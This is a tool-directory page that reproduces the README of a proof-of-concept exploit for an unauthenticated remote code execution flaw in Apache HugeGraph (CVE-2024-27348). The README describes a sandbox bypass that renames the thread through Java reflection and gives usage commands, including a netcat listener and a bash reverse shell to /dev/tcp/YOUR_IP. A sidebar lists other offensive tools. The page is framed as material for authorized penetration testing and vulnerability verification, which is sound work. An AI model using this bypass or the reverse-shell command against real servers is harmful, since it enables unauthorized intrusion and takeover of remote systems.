Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-27348-HugeGraph-RCE — Advanced PoC exploit for CVE-2024-27348, achieving reliable RCE in Apache HugeGraph via sandbox bypass and non-blind command execution. | Kitploit
Tools/GitHubGitHub/akelaqe/cve-2024-27348-hugegraph-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubakelaqe/cve-2024-27348-hugegraph-rce

CVE-2024-27348-HugeGraph-RCE

Advanced PoC exploit for CVE-2024-27348, achieving reliable RCE in Apache HugeGraph via sandbox bypass and non-blind command execution.

View Repository
1247 months agoNot yet reviewed
Share

CVE-2024-27348: Apache HugeGraph RCE (Advanced Sandbox Bypass)

Python 3.x Exploit CVE

An advanced, highly reliable Proof of Concept (PoC) exploit for CVE-2024-27348 (Remote Code Execution in Apache HugeGraph Server).

Unlike many public PoCs that execute commands blindly or fail on complex payloads due to Java's Runtime.exec() limitations, this script is designed for reliability in real-world penetration testing scenarios.

⚠️ Disclaimer

For Educational and Authorized Testing Purposes Only. This tool is provided for security researchers, penetration testers, and system administrators to verify the vulnerability in authorized environments. The author is not responsible for any misuse or damage caused by this tool.

✨ Features & Technical Improvements

This exploit improves upon early public PoCs by addressing three critical issues:

  1. HugeSecurityManager Sandbox Bypass: The HugeGraph sandbox blocks execution if the calling thread is named gremlin-server-exec-* or task-worker-*. This payload uses Java Reflection to dynamically rename the execution thread to BypassThread before triggering the payload, seamlessly evading the security manager.
  2. Complex Payload Handling: Instead of Runtime.getRuntime().exec(String), which breaks complex bash commands (like reverse shells) at spaces, this exploit uses ProcessBuilder with a properly formatted List<String>. This allows for the safe execution of complex payloads with quotes and redirections.
  3. Full Output Reading (Non-Blind RCE): The script reads the InputStream of the executed process using a Java Scanner and returns the actual output of the command in the JSON HTTP response. You see exactly what the server sees.

⚙️ Requirements

  • Python 3.x
  • requests library

Install the required dependencies:

pip3 install requests

🚀 Usage

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

Examples

  1. Basic Command Execution (Reading output):
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"
  1. Spawning a Reverse Shell: Because the payload handles spaces and quotes correctly, you can inject a standard bash reverse shell directly without needing to base64-encode or stage it:
# On your attacker machine, start a listener:
nc -lvnp 4444

# Execute the exploit:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

🔍 Vulnerability Details

Apache HugeGraph Server exposes a Gremlin API endpoint (/gremlin) that allows users to submit Groovy scripts. Due to insufficient sandboxing in versions prior to patching, an unauthenticated attacker can execute arbitrary operating system commands via Java Reflection.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →